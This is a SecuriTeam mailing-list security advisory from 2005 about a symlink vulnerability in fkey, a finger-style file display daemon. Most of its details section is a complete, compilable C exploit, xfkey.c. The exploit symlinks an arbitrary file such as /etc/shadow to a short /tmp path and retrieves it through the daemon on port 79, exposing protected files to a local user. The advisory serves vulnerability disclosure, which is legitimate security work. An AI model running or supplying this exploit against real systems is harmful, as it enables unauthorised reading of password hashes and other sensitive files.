[EXPL] fkey Symblink Vulnerability

• Previous message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in Konversation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 23 Jan 2005 15:22:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  fkey Symblink Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://freshmeat.net/projects/fkey> fkey is "a scalable finger daemon
type server for public display of user-specified files, e.g. PGP keys,
contact information, etc. Users edit their data file (supplied as an ASCII
text file), and the finger daemon displays it on public request. It may be
used as a banner server".

Due to improper usage of local files by fkey, its possible for a local
attacker to use the program to gain elevated privileges.

DETAILS

Exploit:
/*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
 * *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
 * *
 * xfkey homepage/URL: *
 * http://www.freshmeat.net/projects/fkey *
 * *
 * compile: *
 * gcc xfkey.c -o xfkey *
 * *
 * syntax: *
 * # ./xfkey /etc/shadow 2>~/save_filename *
 * *
 * bug: *
 * fkey is a finger-like daemon for accessing remote files *
 * in a specified directory. there is no limitations *
 * placed on the file acessing other than it must be a *
 * filename/path equal to 10 or less bytes. this limits *
 * the remote possibilities somewhat, but symlinking to a *
 * short path(ie. /tmp/file) locally can access anything. *
 * (this exploits locally) *
 * - SECU *
 * note: *
 * this is pretty low-risk due to the fact that the *
 * program isn't very common, just browsing freshmeat.net *
 * and killing some time. *
 ************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

void fkey_connect(unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

int main(int argc,char **argv){
 unsigned short port=79;
 if(argc<2){
  printf("[!] syntax: %s <file> [port]\n",argv[0]);
  exit(1);
 }
 if(argc>2)port=atoi(argv[2]);
 unlink(TMPFILE);
 if(symlink(argv[1],TMPFILE))
  printe("symlink() failed.",1);
 fkey_connect(port);
 unlink(TMPFILE);
 exit(0);
}
void fkey_connect(unsigned short port){
 int sock=0,l=0,m=0;
 char buf[1024+1];
 struct hostent *t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 printf("[*] attempting to connect: localhost:%u.\n",port);
 if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
  if(!(t=gethostbyname("localhost")))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
 }
 signal(SIGALRM,sig_alarm);
 alarm(3);
 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("connection failed.",1);
 alarm(0);
 printf("[*] successfully connected: localhost:%u.\n",port);
 write(sock,TMPFILE,strlen(TMPFILE));
 alarm(5);
 for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
  fputs(buf,stderr);
  m+=l;
 }
 alarm(0);
 if(m<=0)
  printe("exploit failed, file doesn't exist or zero-length file.",0);
 close(sock);
 return;
}
void printe(char *err,short e){
 printf("[!] %s\n",err);
 if(e)exit(1);
 return;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:v9@fakehalo.deadpig.org>
Vade 79.
The original article can be found at: <http://fakehalo.us/xfkey.c>
http://fakehalo.us/xfkey.c

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] Multiple Vulnerabilities in Konversation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]